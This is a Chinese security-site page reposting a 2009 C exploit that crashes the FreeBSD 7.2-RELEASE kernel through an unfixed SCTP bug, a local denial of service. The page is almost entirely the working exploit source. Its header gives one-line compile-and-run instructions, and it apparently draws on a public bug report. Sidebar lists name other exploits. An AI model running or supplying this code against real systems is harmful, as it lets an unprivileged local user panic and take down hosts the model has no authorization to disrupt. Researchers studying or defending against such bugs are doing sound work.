首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
FreeBSD 7.2-RELEASE SCTP Local Kernel Denial of Service Exploit
来源:shaun@rsc.cx 作者:Shaun 发布时间:2009-08-07  
/* fbsd-sctp-panic.c
*
* freebsd 7.2-RELEASE SCTP local kernel DoS (kern panic)
* only tested on 7.2-RELEASE, probably older and newer builds are vuln.  as well
* based on an unfixed bug found here: <http://www.freebsd.org/cgi/query-pr.cgi?pr=136803>
*
* by Shaun Colley <shaun@rsc.cx>, Wed 05 Aug 2009
*
* $ gcc fbsd-sctp-panic.c -o fbsd-sctp-panic && ./fbsd-sctp-panic
* wait a few seconds..
*
* - shaun
*/

#include <stdio.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <netinet/sctp.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <netdb.h>
#include <string.h>
#include <signal.h>
#include <sys/time.h>
#include <fcntl.h>

int csock, sock, lsock;

void *accept_connection() {
struct sockaddr_in sin;
socklen_t size = sizeof(sin);

sin.sin_family = AF_INET;
sin.sin_addr.s_addr = htonl(0x7f000001);
sin.sin_port = htons(1337);

sock = socket(AF_INET, SOCK_STREAM, IPPROTO_SCTP);
bind(sock, (struct sockaddr *)&sin, sizeof(sin));
listen(sock, 1);
lsock = accept(sock, (struct sockaddr *)&sin, &size);
}

void recvdata() {
int flag;
struct sctp_sndrcvinfo recvinfo;
char buf[10];
sctp_recvmsg(csock, buf, sizeof(buf), NULL, 0, &recvinfo, &flag);
}

void make_connection() {
struct sockaddr_in consin;
struct sctp_sndrcvinfo sinfo;

csock = socket(AF_INET, SOCK_STREAM, IPPROTO_SCTP);
consin.sin_family = AF_INET;
consin.sin_addr.s_addr = htonl(0x7f000001);
consin.sin_port = htons(1337);

connect(csock, (struct sockaddr *)&consin, sizeof(consin));
signal(SIGALRM, recvdata);
sinfo.sinfo_stream = 1337;
sctp_send(lsock, "pwned", sizeof("pwned"), &sinfo, 0);
}


int main() {

alarm(2);
signal(SIGALRM, make_connection);
accept_connection();

return 0;
}

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·JetAudio 7.1.9.4030 Universal
·JetAudio 7.5.3.15 (.M3U File)
·jetAudio 7.1.9.4030 plus vx (.
·A2 Media Player Pro 2.51 (.m3u
·UltraPlayer Media Player 2.112
·Playlistmaker 1.5 (.M3U/M3L Fi
·jetAudio v 7.1.9.4030 plus vx
·Groovy Media Player 1.2.0 (.m3
·Tuniac v.090517c (.M3U File) L
·ImTOO MPEG Encoder 3.1.53 (.cu
·Linux Kernel < 2.6.14.6 procfs
·Pico MP3 Player version 1.0 cr
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved